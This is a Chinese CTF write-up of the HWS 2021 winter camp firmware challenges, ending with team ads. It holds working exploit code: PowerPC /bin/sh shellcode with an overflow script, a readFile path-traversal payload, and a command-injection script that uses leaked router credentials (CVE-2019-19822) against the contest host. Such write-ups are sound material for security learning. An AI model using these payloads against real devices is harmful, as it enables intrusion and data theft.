2021HWS冬令营线上赛固件安全-WriteUp
本篇文章由ChaMd5安全团队IOT小组投稿
去年去的HWS夏令营,这次有幸AK了入营赛的固件题,运气成分比较高,题也是比较多,差不多打了三个通宵,累是真的累,但从这次题目中又学到了新东西,这么多题是非常不想写wp,但为了总结这次比赛学到的东西,最后还是决定把它记录下来。
NodeMCU
签到题,直接binwalk解固件,冲进去cat就完事了
BlinkBlink
拿到固件之后直接先binwalk解固件
binwalk -Me uImage
解完之后猜了一手是httpd服务的命令执行,直接就find httpd了,但是并没有找到该服务,去靶机的login界面看看是不是默认密码,根据之前逆过tenda的固件和vigor 2960的固件来判断,这种路由器的密码都是从/etc/passwd里获取,于是直接搜索
grep -ri "etc/passwd"
Binary file bin/busybox matches
Binary file bin/goahead matches
Binary file lib/libuClibc-0.9.33.2.so matches
Binary file lib/libshare-0.0.26.so matches
找到了几个匹配的文件,busybox首先排除,另外两个libc肯定不是,因此直接定位到goahead文件,IDA直接搜字符串
ascToUni(v18, v21, v14);
websSetIpaddr(v18);
websSetHost((int)v18);
websSetDefaultPage("login.asp");
websSetPassword("");
websOpenServer(80, 5);
websUrlHandlerDefine((int)"", 0, 0, (int)websSecurityHandler, 1);
websUrlHandlerDefine((int)"/goform", 0, 0, (int)websFormHandler, 0);
websUrlHandlerDefine((int)"/cgi-bin", 0, 0, (int)websCgiHandler, 0);
websUrlHandlerDefine((int)"", 0, 0, (int)websDefaultHandler, 2);
formDefineCGIjson();
websUrlHandlerDefine((int)"/", 0, 0, (int)sub_449374, 0);
if ( !*(_BYTE *)nvram_bufget(0, "Password") )
{
doSystem("echo 'admin:x:0:admin' > /etc/group");
doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' >/etc/passwd");
doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-");
}
密码是加密后的可以去CMD5解密,我不想付费所以没解。
看到这段代码狂喜,这里基本上是跟tenda写的差不多,并且tenda的洞也是在goform接口下,进入formDefineCGIjson(),已经可以看到goform下的路径
websFormDefine((int)"getWanInfo", (int)sub_45D42C);
websFormDefine((int)"get_wanset_info", (int)sub_45D330);
websFormDefine((int)"getLanInfo", (int)sub_45C8B8);
websFormDefine((int)"get_wifi_info", (int)sub_45D1C0);
websFormDefine((int)"get_5wifi_info", (int)sub_45D050);
websFormDefine((int)"get_wifi_switch", (int)sub_45CF18);
websFormDefine((int)"get_5wifi_switch", (int)sub_45CDE0);
websFormDefine((int)"set_wifi_switch", (int)sub_45CC14);
websFormDefine((int)"set_5wifi_switch", (int)sub_45CA18);
websFormDefine((int)"get_lan_info", (int)sub_45C734);
websFormDefine((int)"get_terminallist_info", (int)sub_45C5E0);
websFormDefine((int)"get_blacklist_info", (int)sub_45C478);
websFormDefine((int)"get_staticlist_info", (int)sub_45C340);
websFormDefine((int)"get_channelquality_info", (int)sub_45C244);
websFormDefine((int)"set_blacklist", (int)sub_45BFAC);
websFormDefine((int)"set_staticlist", (int)sub_45BCCC);
websFormDefine((int)"test_speed_info", (int)sub_45BB6C);
websFormDefine((int)"get_signal_info", (int)sub_45BA34);
websFormDefine((int)"get_signal5_info", (int)sub_45B8FC);
websFormDefine((int)"get_manpwd_info", (int)sub_45B7C4);
websFormDefine((int)"set_manpwd", (int)sub_45B4C8);
websFormDefine((int)"get_visiter_info", (int)sub_45B390);
websFormDefine((int)"set_visitor", (int)sub_45B038);
websFormDefine((int)"get_visitor5_info", (int)sub_45AF00);
websFormDefine((int)"set_visitor5_info", (int)sub_45ABA8);
websFormDefine((int)"get_version_info", (int)sub_45AA10);
websFormDefine((int)"upgrade_version", (int)sub_45A894);
websFormDefine((int)"set_bandwidth_check", (int)sub_45A740);
websFormDefine((int)"get_router_info", (int)sub_45A5D0);
websFormDefine((int)"set_WanEasy", (int)sub_459FFC);
websFormDefine((int)"set_EasyCfg", (int)sub_45925C);
websFormDefine((int)"set_refine_channel", (int)sub_459124);
websFormDefine((int)"set_Lanset", (int)sub_458DF8);
websFormDefine((int)"set_wifi", (int)sub_4589E4);
websFormDefine((int)"set_5wifi", (int)sub_4586A0);
websFormDefine((int)"set_channel", (int)sub_458530);
websFormDefine((int)"set_pamode", (int)sub_45836C);
websFormDefine((int)"set_pa5mode", (int)sub_4581A8);
websFormDefine((int)"set_restore", (int)sub_45801C);
websFormDefine((int)"set_reboot", (int)sub_457EE4);
websFormDefine((int)"get_plugins_cfg", (int)sub_44DE84);
websFormDefine((int)"set_hidessid_cfg", (int)sub_44DC84);
websFormDefine((int)"get_hidessid_cfg", (int)sub_44DAD4);
websFormDefine((int)"get_upnpport_cfg", (int)sub_44D920);
websFormDefine((int)"get_router_status", (int)sub_44D798);
websFormDefine((int)"get_mobile_fun_list", (int)sub_44D610);
websFormDefine((int)"set_cmd", (int)sub_44D41C);
websFormDefine((int)"get_led_status", (int)sub_44D294);
websFormDefine((int)"set_led_status", (int)sub_44CF0C);
websFormDefine((int)"get_dns_switch", (int)sub_44CD84);
websFormDefine((int)"set_dns_switch", (int)sub_44CBE8);
websFormDefine((int)"get_hw_nat", (int)sub_44CA60);
websFormDefine((int)"set_hw_nat", (int)sub_44C8C4);
其中set_cmd名字起的就很让人关注
char *v2; // $s5
int v3; // $v0
int v4; // $s0
int v5; // $v0
int v6; // $s2
char v8[8200]; // [sp+20h] [-2008h] BYREF
v2 = websGetVar(a1, (int)"cmd", "");
bl_print(3, "CGI_json.c", "set_cmd", 3968, "cmd = %s\n", v2);
v4 = cJSON_CreateObject();
v3 = cJSON_CreateString("setcmd");
cJSON_AddItemToObject(v4, "type", v3);
v5 = cJSON_CreateString(v2);
cJSON_AddItemToObject(v4, "cmd", v5);
v6 = cJSON_PrintUnformatted(v4);
memset(v8, 0, 8196);
bs_SetCmd(v6, v8);
bl_print(3, "CGI_json.c", "set_cmd", 3976, "back = %s\n", v8);
websResponse(a1, 200, v8, 0);
free(v6);
return cJSON_Delete(v4);
看了一下不是常规的dosystem命令执行,发现有一个bs_setcmd函数,这个函数是在libshare里,我们在打开libshare看一下(至于怎么搜到的,还是用grep -ri定位)
int __fastcall bs_SetCmd(const char *a1, int a2)
{
int v4; // $s1
int v5; // $s0
int v6; // $v0
int v7; // $v0
int v8; // $fp
int v9; // $v0
int v10; // $fp
int v11; // $v0
int v12; // $s2
int v13; // $fp
int v14; // $v0
int v15; // $v0
int v16; // $a0
const char *v17; // $a1
int v18; // $s5
char v20[256]; // [sp+20h] [-1F00h] BYREF
char v21[500]; // [sp+120h] [-1E00h] BYREF
char v22[1024]; // [sp+314h] [-1C0Ch] BYREF
char v23[6148]; // [sp+714h] [-180Ch] BYREF
int v24; // [sp+1F18h] [-8h]
memset(v23, 0, 6144);
memset(v22, 0, sizeof(v22));
memset(v21, 0, sizeof(v21));
memset(v20, 0, sizeof(v20));
v4 = cJSON_Parse(a1);
if ( v4 )
{
bl_print(3, "libshare.c", "bs_SetCmd", 16411, "in == %s\n", a1);
v5 = cJSON_CreateObject();
v6 = cJSON_CreateString("setcmd");
cJSON_AddItemToObject(v5, "type", v6);
v7 = cJSON_GetObjectItem(v4, "type");
if ( v7 && (v8 = *(_DWORD *)(v7 + 16), v24 = strlen(v8), v9 = strlen("setcmd"), v24 == v9) && !memcmp(v8, "setcmd") )
{
v10 = cJSON_GetObjectItem(v4, "cmd");
if ( !v10 )
{
bl_print(3, "libshare.c", "bs_SetCmd", 16423, "command execute fail\n");
v11 = cJSON_CreateNumber(0, 1072693248);
cJSON_AddItemToObject(v5, "result", v11);
v12 = cJSON_PrintUnformatted(v5);
cJSON_Delete(v5);
cJSON_Delete(v4);
strcpy(a2, v12);
free(v12);
return 0;
}
memset(v20, 0, sizeof(v20));
strcpy(v20, *(_DWORD *)(v10 + 16));
sprintf(v22, &off_4F2CC, v20);
v13 = popen(v22, "r");
这里可以看到他传入两个参数对应v6和和v8,a1变成v4,v4变成v10,v10复制进了v20,V20拼接进v22,然后popen命令执行,虽说不清楚他自己封装的函数是干什么的,但是也可以大概猜到了这里就是我们需要的命令执行。
STM
binwalk之后会发现啥什么都看不出来,也解不出固件,但hint里给了STM32,因此搜了搜关于STM32的固件该如何解包时,发现了一篇文章https://www.angelic47.com/archives/97/按照这位师傅的方法,IDA成功识别固件。
进去逛了逛,发现sub_8000314()比较可疑
_BYTE *sub_8000314()
{
_DWORD *v0; // r4
unsigned __int8 *v1; // r5
int v2; // r6
char v3; // t1
v0 = sub_80003F0(48);
v1 = (unsigned __int8 *)&byte_8000344;
v2 = 0;
while ( v2++ != 0 )
{
v3 = *v1++;
*(_BYTE *)v0 = (v3 ^ 0x1E) + 3;
v0 = (_DWORD *)((char *)v0 + 1);
sub_8000124(v1);
}
return v0;
}
将算法复原即可获得flag,V1是原数据,经过(v3 ^ 0x1E) + 3的处理给V0,在对其进行char类型转换,拼接起来就是flag,脚本如下:
v1 = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30, 0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28, 0x2E, 0x64]
flag_list = []
for i in range(len(v1)):
flag = chr((v1[i] ^ 0x1E) + 3)
flag_list.append(flag)
print("".join(flag_list))
PPPPPPC
这是一道powerpc架构的pwn,因为完全没接触过这个架构,做题之前搜了下资料,找到了这篇文章https://4f-kira.github.io/2019/06/09/powerpc/
寄存器
序号 | 寄存器 | 功能 |
---|---|---|
1 | GPR0-GPR31(共32个寄存器) | 整数运算和寻址通用寄存器.在ABI规范中,GPR1用于堆栈指针,GPR3-GPR4用于函数返回值,GPR3-GPR10用于参数传递 |
2 | FPR0-FPR31(共32个寄存器) | 用于浮点运算。PPC32和PPC64的浮点数都是64位 |
3 | LR | 连接寄存器,记录转跳地址,常用于记录子程序返回的地址。 |
4 | CR | 条件寄存器。 |
5 | XER | 特殊寄存器,记录溢出和进位标志,作为CR的补充 |
6 | CTR | 计数器,用途相当于ECX |
7 | FPSCR | 浮点状态寄存器,用于浮点运算类型的异常记录等,可设置浮点异常捕获掩码 |
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc# checksec PPPPPPC
[*] '/root/pwn/ppppc/PPPPPPC'
Arch: powerpc-32-big
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
保护没开,大端序,第一反应就是ret2shellcode,并且如果溢出的话报错信息还会返回此时寄存器的值
对于这道题来说,我们只需要认识LR寄存器作用就行了,因为LR寄存器是ret地址,我们只要成功控制LR,就能getshell
在IDA中我们看到了有关0x140大小的指令,因此我们试一下覆盖到lr的偏移具体是多少
bye~
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc# qemu-ppc-static -L ./ ./PPPPPPC
Hello, welcome to hws!
Tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA
bye~
Invalid data memory access: 0x41254e40
NIP 41254e40 LR 41254e41 CTR 1000de00 XER 00000000 CPU#0
MSR 00006040 HID0 00000000 HF 00006000 idx 0
TB 00946717 4066119728694850
GPR00 0000000041254e41 00000000f6fff0d0 00000000100bb4d0 0000000000000000
GPR04 00000000100a01a7 0000000000000001 00000000100a01a7 0000000000000001
GPR08 00000000ffffffff 0000000000000000 0000000000000001 00000000f6fff0d0
GPR12 0000000000000000 00000000100a8de8 0000000000000000 0000000000000000
GPR16 0000000000000000 0000000000000000 0000000000000020 00000000100a0000
GPR20 00000000100a0ee0 00000000100a0ed8 00000000100a0000 0000000000500000
GPR24 0000000000000000 0000000010000138 00000000100a0ee0 0000000000000000
GPR28 0000000000000000 0000000010000f80 0000000010000e80 00000000254d4125
CR 24000222 [ E G - - - E E E ] RES ffffffff
FPR00 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR04 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR08 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR12 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR16 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR20 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR24 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR28 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPSCR 00000000
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc#
可以看到已经覆盖到了LR,那我们0x140-4再试一下
没什么毛病,偏移就是0x13c,我们如果断到0x10000470也有体现
下面就是寻找shellcode了,我们只需要在0x140的位置填入我们想要跳转的地址即可,并在跳转之前在该位置写好shellcode,那跳转之前的位置怎么确定呢?
我需要关注一下溢出之后的报错信息,他将R0-R31全给我们打印了出来,其中R11寄存器里的0xf6fff0e0比较醒目,并且没有其他长得跟栈地址差不多的地址了,因此根据我们的思路将其减去0x13c跳回写入shellcode的地方就完事了。(上面两个地址不一样是一个是直接起的进程,一个是-g放到端口上,以-g 启动的0xf6fff0e0为标准)
exp如下:
from pwn import *
context.log_level = "debug"
context.arch = "powerpc"
context.endian = "big"
p = process(["qemu-ppc-static", "-g", "1233", "-L", "./" ,"./PPPPPPC"])
shellcode = "\x7c\x3f\x0b\x78" #/*mr r31,r1*/
shellcode +="\x7c\xa5\x2a\x79" #/*xor. r5,r5,r5*/
shellcode +="\x42\x40\xff\xf9" #/*bdzl+ 10000454< main>*/
shellcode +="\x7f\x08\x02\xa6" #/*mflr r24*/
shellcode +="\x3b\x18\x01\x34" #/*addi r24,r24,308*/
shellcode +="\x98\xb8\xfe\xfb" #/*stb r5,-261(r24)*/
shellcode +="\x38\x78\xfe\xf4" #/*addi r3,r24,-268*/
shellcode +="\x90\x61\xff\xf8" #/*stw r3,-8(r1)*/
shellcode +="\x38\x81\xff\xf8" #/*addi r4,r1,-8*/
shellcode +="\x90\xa1\xff\xfc" #/*stw r5,-4(r1)*/
shellcode +="\x3b\xc0\x01\x60" #/*li r30,352*/
shellcode +="\x7f\xc0\x2e\x70" #/*srawi r0,r30,5*/
shellcode +="\x44\xde\xad\xf2" #/*.long 0x44deadf2*/
shellcode +="/bin/shZ"
payload = shellcode.ljust(0x13c, 'a') + p32(0xf6ffefa4)
p.recvuntil("Tell me your name: ")
p.sendline(payload)
p.interactive()
httpd(西湖论剑babyboa改)
这题是西湖论剑babyboa改的,刚开始搜了一篇文章https://pup2y.github.io/2020/11/16/xi-hu-lun-jian-iot-chuang-guan-sai-babyboa/
原来是栈溢出的漏洞,但根据文章的对比,咱们可以明显发现有一个地方不太一样,原来的长这样
现在长这样
恢复的过程是这样,我们通过下载源码http://www.boa.org/,找到里面的globals.h,导入IDA时会报错,在根据报错信息修修改改结构体,即可成功导入,导入完成之后,在对比源码会发现多了一个登录功能,在增加一个auth的结构体,即可修复完成,然后就能看见如上修复好的字段了
我们最后使用wget把flag读出来就可以了
easybios
下载下来之后先根据文件里面的提示启动,会发现里面有个getflag的功能,他会打印出你输入的内容,并且返回一个Wrong!
binwalk解包,解包的过程中会发现有一堆PE文件
但是因为binwalk不回给咱们切割,所以需要用winhex手动切割,我们通过wrong来定位PE文件的位置然后切割即可
看到wrong的位置之后,我们把他的位置跟binwalk给的信息对比找到上界和下界切割即可提取出我们想要的PE文件
进去之后alt+t搜字符串找到了wrong所在的函数,进行分析,我们可以看到他先判断了我们输入的数据是否时小写,然后做了个类型转换,在放进changehex里,这里注意,因为IDA的问题,changehex()其实是changehex(v16),这块需要看汇编,进入函数之后,可以看到他生成flag的算法,直接照抄复现即可
.text:0000000000031F46 inc rax
.text:0000000000031F49 cmp rax, 20h ; ' '
.text:0000000000031F4D jnz short loc_31F29
.text:0000000000031F4F lea rbx, [rsp+0B8h+var_3C]
.text:0000000000031F54 mov edx, 20h ; ' '
.text:0000000000031F59 mov r9d, 14h
.text:0000000000031F5F mov rcx, r12
.text:0000000000031F62 mov r8, rbx
.text:0000000000031F65 mov rdi, rbx
.text:0000000000031F68 call strHexToBytes
.text:0000000000031F6D call changehex
.text:0000000000031F72 xor eax, eax
.text:0000000000031F74 lea rdx, qword_75C10
可以看到v0是从rdi来的
__int64 v0; // rdi
__int64 i; // rcx
__int64 v2; // rcx
int v3; // edx
int v4; // er8
int v5; // er11
__int64 v6; // rcx
int v7; // er10
int v8; // er11
int v9; // ebx
__int64 v10; // r9
int v11; // edx
__int64 result; // rax
int v13[514]; // [rsp+0h] [rbp-808h]
for ( i = 0i64; i != 256; ++i )
{
v13[i] = i;
v13[i + 256] = (unsigned __int8)aOvmfAndEasyBio[(int)i % 18];
}
v2 = 0i64;
v3 = 0;
do
{
v4 = v13[v2];
v3 = (v13[v2 + 256] + v4 + v3) % 256;
v5 = v13[v3];
v13[v3] = v4;
v13[v2++] = v5;
}
while ( v2 != 256 );
v6 = 0i64;
v7 = 0;
LOBYTE(v8) = 0;
do
{
v8 = (unsigned __int8)(v8 + 1);
v9 = v13[v8];
v10 = (v9 + v7) % 256;
v11 = v13[v10];
v13[v10] = v9;
v7 = (v9 + v7) % 256;
v13[v8] = v11;
result = (unsigned int)v13[(v11 + v13[v10]) % 256];
*(_BYTE *)(v0 + v6++) ^= result;
}
while ( v6 != 16 );
return result;
def print_bytes_hex(data):
lin = ['%0x' % i for i in data]
print("".join(lin))
magic = 'OVMF_And_Easy_Bios'
demo = [0x46, 0x77, 0x74, 0xb0, 0x27, 0x8e, 0x8f, 0x5b, 0xe9, 0xd8, 0x46, 0x9c, 0x72, 0xe7, 0x2f, 0x5e]
v13 = [0]*514
for i in range(256):
v13[i] = i
v13[i+256] = ord(magic[i%18])
v2 = 0
v3 = 0
new_list = []
while v2!=256:
v4 = v13[v2]
v3 = (v13[v2 + 256] + v4 + v3) % 256
v5 = v13[v3]
v13[v3] = v4
v13[v2] = v5
v2+=1
v6 = 0
v7 = 0
v8 = 0
while v6 != 16:
v8 = v8 + 1
v9 = v13[v8]
v10 = (v9 + v7) % 256
v11 = v13[v10]
v13[v10] = v9
v7 = (v9 + v7) % 256
v13[v8] = v11
result = v13[(v11 + v13[v10]) % 256]
new_list.append(result)
#(v0 + v6) ^= result
v6 += 1
#print len(demo)
#print len(new_list)
flag_list = []
for i in range(16):
flag_list.append(new_list[i]^demo[i])
print(hex(new_list[i]^demo[i]))
print_bytes_hex(flag_list)
#flag{88baec0b5154f859b5851097bb567f5c}
easymsg(原西湖论剑messagebox改)
这道题纯属运气好,因为知道是西湖论剑的题,先找了原来的exp去打,多打了几次直接通了,但跟原来的题是有区别的,最后也没去深究
from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("183.129.189.60",10016)
payload = "readFile:"+"/"*0x100+"/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("HwsDDW"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()
赛后交流的过程中,队里另外的一个师傅G3n3rous通过命令注入的方式打通了地址在这里
个人感觉槽点超鸡多的一道题
arm架构,没给libc,ok, fine,自己apt装一个问题不大
逆向,逻辑挺清楚,一看就会,为了方便调试patch改了pthread和网卡名字
ifconfig指令获得MAC地址
readFile指令把config.dat弄过来,我感觉出题人应该是想弄个像路由器配置文件泄露一样,但这题没有任何背景,强行弄上去只会让人感到无厘头。
CVE-2019-19822, 找了个网站获得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html,config.dat泄露出账号密码
登陆,命令注入执行即可
本来以为当前目录下就有flag,ls了一下发现flag是 /flagG1zjin
脚本如下
import zlib
from pwn import *
import base64
class Msg():
def __init__(self, choice, content, ip, port):
self.magic = 'HwsDDW'
self.crc = self.cal_crc32(content)
self.msg_len = 0x101
self.choice = choice
self.ip = ip
self.port = port
msg = self.magic
msg += chr((self.msg_len >> 8) & 0xff) + chr(self.msg_len & 0xff)
msg += chr((self.choice >> 8) & 0xff) + chr(self.choice & 0xff)
msg += chr(self.crc >> 24) + chr((self.crc >> 16) & 0xff) + chr((self.crc >> 8) & 0xff) + chr((self.crc) & 0xff)
msg += content
self.msg = msg
def cal_crc32(self, s):
return zlib.crc32(str(s)) & 0xffffffff
def send(self):
p = remote(self.ip, self.port)
context.log_level = 'debug'
p.send(self.msg)
ret = ''
try:
while True:
tmp = p.recv(1024)
if len(tmp) == 0:
break
ret += tmp
except:
pass
p.close()
return ret
# 183.129.189.60 10016
# /home/messageBox/messageBox
remote_ip = '183.129.189.60'
remote_port = 10016
# get mac
info = base64.b64decode(Msg(0x102, 'ifconfig:'.ljust(0x101, '\x00'), remote_ip, remote_port).send())
info = info[info.index('tap'):]
info = info[info.index('ether ')+6:info.index('ether ')+6+17]
print(info)
mac = ''
for i in range(len(info)):
if info[i] != ':':
mac += str(info[i].upper())
print(mac)
# get config.dat
# cmd = 'readFile:./config.dat'
# msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
# data = base64.b64decode(msg.send())
# with open('config.dat', 'wb') as f:
# f.write(data)
# login
msg = Msg(0x102, 'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101, '\x00'), remote_ip, remote_port)
msg.send()
# leaveName
cmd = 'leaveName:'+str(mac)+':a";echo `cat /flagG1zjin` > /tmp/out;echo "Fuck'
print(Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port).send())
# read flag
cmd = 'readFile:/tmp/out'
msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
print(base64.b64decode(msg.send()))
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 澳门是伟大祖国的一方宝地 7920800
- 2 女子穿和服在南京景区拍照遭怒怼 7970885
- 3 日本火山喷发灰柱高达3400米 7897551
- 4 2024 向上的中国 7782548
- 5 肖战新片射雕英雄传郭靖造型曝光 7695582
- 6 大三女生练咏春一起手眼神骤变 7583201
- 7 胡军演洪七公 7406230
- 8 男子钓上一条自带“赎金”的鱼 7323565
- 9 赵丽颖带儿子探班 7259615
- 10 高考601分女生为何选择殡葬专业 7127520